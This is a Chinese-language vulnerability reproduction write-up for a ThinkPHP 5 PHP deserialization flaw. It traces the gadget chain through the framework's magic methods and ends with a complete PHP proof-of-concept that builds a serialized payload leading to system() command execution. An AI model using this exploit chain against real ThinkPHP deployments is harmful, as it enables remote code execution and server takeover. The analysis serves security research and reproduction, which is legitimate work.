ThinkPHP5.0反序列化漏洞复现

在平常通用漏洞挖掘中,也是会有很多使用thinkphp的改版cms,那么这次就对thinkphp5的一个反序列化漏洞进行仔细的复现

0x01 入口分析

一般php反序列化的入口点,我们都会选择魔术方法,这里贴一下php官方对魔术方法的介绍
image20210814142812288.png
我们最常用的魔术方法一般是__destruct(),我们看看介绍
image20210814142905655.png
那么我们首先使用全局搜索寻找thinkphp5中的所有析构函数
image20210814143152344.png
我们先尝试使用Windows类中的这个析构函数,当我们创建一个Windows对象并使用反序列化时,这个方法就会被触发

public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

我们跟踪一下removeFiles方法

private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

可以发现它是循环进行判断files数组中的每一个元素是否是存在的文件,那么我们在构造Windows这个类的时候就需要一个files数组。

这里看似无法继续进行链的构建,但是我们可以注意一下,file_exist()这个函数是会将对象转换成字符串进行判断,那么如果存在的话,就会触发__toString这个魔术方法,但是这里似乎没有这个方法,我们依旧全局搜索一下这个方法
image20210814154119450.png
我们可以发现,在Conversion类中存在这个方法,那么我们为什么选择Conversion这个类呢,因为我们的起始入口是在Windows这个类,那么我们要想去调用别的类,我们必须找到使用use或者继承的方法使得目标类和Windows类存在关系,我们通过仔细寻找,发现在Model这个抽象类中,use了Conversion这个类
image20210814154548931.png
然后,Pivot这个类又继承了Model
image20210814154637650.png
那么我们只需要将一开始的Windows类的files数组设置成这个Pivot,那么我们就会调用到Conversion里的__toString(),那么我们继续看toString的利用

public function __toString()
    {
        return $this->toJson();
    }

我们发现它又调用了一个toJson方法

public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }

这里我们发现,toJson方法又调用了toArray这个方法,这里我省略了许多与我们分析无关的代码

public function toArray()
    {
        $item       = [];
        $hasVisible = false;

        // 省略n行代码
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {//判断append是否为空
            foreach ($this->append as $key => $name) {//对append进行遍历,由于这里用的是$key => $name,我们的append必须是键值对
                if (is_array($name)) {//如果append的name是一个数组,那么就进入下面,因为name其实是append的键值,所以只需要append本身是一个数组就行
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {//这里我们需要让两个判断都成立,才能进到最后
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);
                        }
                    }

我们到这里,又需要去分析getRelation这个方法才能继续进行,我们要想让最后两个判断都成立的话,首先第一个判断,要求$relation为空,那么我们getRealtion这个方法的返回我们必须让它为空,那我们去看看这个方法具体的内容

public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }

根据上面我们的分析,要想让这个方法的返回为空,我们只能让它返回最后一个return

第一个判断,判断传入的$name是否为空,那么只要我们传入的poc里的append的键不为空即可

第二个判断,判断传入的$name是否已经存在于relation类中,向上翻定义,发现默认relation的定义为空,所以我们只要不传系统默认的键应该就不会触发

那么我们继续往下走,就到了$relation = $this->getAttr($key);这句话,我们去看看getAttr这个方法

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
    //下面省略n行代码

这里我们发现$value会调用到getData这个方法,那没办法,只能继续跟踪getData这个方法

public function getData($name = null)
    {
        if (is_null($name)) {//判断是否为空。进入下一个if
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {//我们在poc中可以传入data,那么最后就会在这里取到,通过键,获取值
            //那么为什么我们不能用下面的那个if呢,因为上面我们也看到过同样的判断语句,并且我们需要让那个判断成为false,同理这里的判断也肯定是false
            //综上,我们可以在poc的append的键值对里传入data,那么这里就会取到data的值
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }

我们在这里梳理一下整个键值对数组的利用

$relation = $this->getAttr($key) = $this->getData($name) = $this->data[$name];
//这里的$kname,其实就是传入的时候的$key,所以我们的结果就是
$relation = $this->data[$key]

那我们可以回到Conversion类,继续进行第二个if判断的跟踪

public function toArray()
    {
        $item       = [];
        $hasVisible = false;

        // 省略n行代码
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {//判断append是否为空
            foreach ($this->append as $key => $name) {//对append进行遍历,由于这里用的是$key => $name,我们的append必须是键值对
                if (is_array($name)) {//如果append的name是一个数组,那么就进入下面,因为name其实是append的键值,所以只需要append本身是一个数组就行
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);
      
                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        //$relation = $this->data[$key];
                        //这里我们的$relation已经不为空了,所以肯定能进入最后一个判断
                        if ($relation) {
                            $relation->visible($name);
                        }
                    }

经过分析,我们的第一个判断进入后,通过调用getAttr方法,我们的$relation已经被赋值成了我们传入的$data,那么我们就会进入到最后一个判断里,但是我们进入后发现我们的data并没有visible这个方法,那么这里就会用到我们的另一个魔术方法__call,这个方法的官方描述如下
image20210814163707550.png
当我们调用一个不可访问或不存在的方法时,__call这个魔术方法就会被调用

那我们全局找找有没有存在这个方法的类,如果我们将data赋值成这个类,那么这个方法也会被调用

这里我们选择Request这个类的__call方法

public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {//我们需要构造一个hook变量,并且存在键名为visible
            array_unshift($args, $this);//但是这个函数会将我们的$args给改变掉,导致我们无法在这里直接rce
            return call_user_func_array($this->hook[$method], $args);
            //所以我们尝试寻找其他的存在call_user_func的函数,然后再利用hook去调用那个存在危险函数的函数,然后最后调用危险函数实现rce,这里hook起到中转作用
        }

        throw new Exception('method not exists:' . static::class . '->' . $method);
    }

这个函数有两个传入的参数,一个是$method,就是我们尝试调用却不存在的方法,那么这里就是visible,另一个是$args,就是我们上面的append数组的键值对的值

这里我们发现有call_user_func_array这个函数,理论上已经可以rce了,因为$method和$args都是可控的,但是这里存在一个array_unshift这个函数,会把我们的$args给替换掉,所以我们需要另外找存在call_user_func的函数,然后利用这里的hook来调用

那么我们在Request这个类中寻找其他的call_user_func

我们在下面,发现一个filterValue这个方法,也存在call_user_func

 private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                //省略下面n行代码

但是这里的$value也会被array_unshift给替换,所以我们只能寻找调用这个方法的其他方法
image20210814171914462.png
我们发现input方法有调用filterValue,但是这里的$data是我们不可控的形参,所以我们继续寻找调用input的方法

然后我们发现param这个方法有调用input
image20210814172100814.png
但是很遗憾的,这里的name依旧是不可控的形参,那我们寻找调用param的方法

最后我们找到了isAjax这个方法image20210814172232533.png

我们发现这里的config终于是我们可以控制的实参了

那么我们这个利用链的起点就是isAjax方法,最终执行代码的位置就是input方法中的filterValue函数

我们去分析一下input方法的执行过程

//在input()函数中
//通过getData()函数获取用户的get以及post组成的数组,值为data
//这个data会被当做filterValue()函数的第一个参数,并执行函数
    protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }

        return $data;
    }

//这里是对filter对象的的值进行一个赋值,从$filter = $filter ?: $this->filter
//并且把赋值后的fileter传给filterValue()函数的第三个参数,并执行函数
//所以我们需要构造一个fileter
    protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }

    $this->filterValue($data, $name, $filter);

    
    
//input()函数之外

//这里call_user_func($filter, $value)
//call_user_func()的两个参数都来自filterValue()接收的参数
//也就是说用户GET或POST传过来的参数,是call_user_func()的第二个也就是RCE的参数
//POC构造的filter,是call_user_func()的第一个也就是最终执行的危险函数
    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }

        return $value;
    }

那么到这里为止,我们就可以构造出整个poc了

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["calc.exe","calc"]];
        $this->data = ["ethan"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

我们搭建一个环境测试一下
image20210814173804777.png
成功执行命令


醉后不知天在水,满船清梦压星河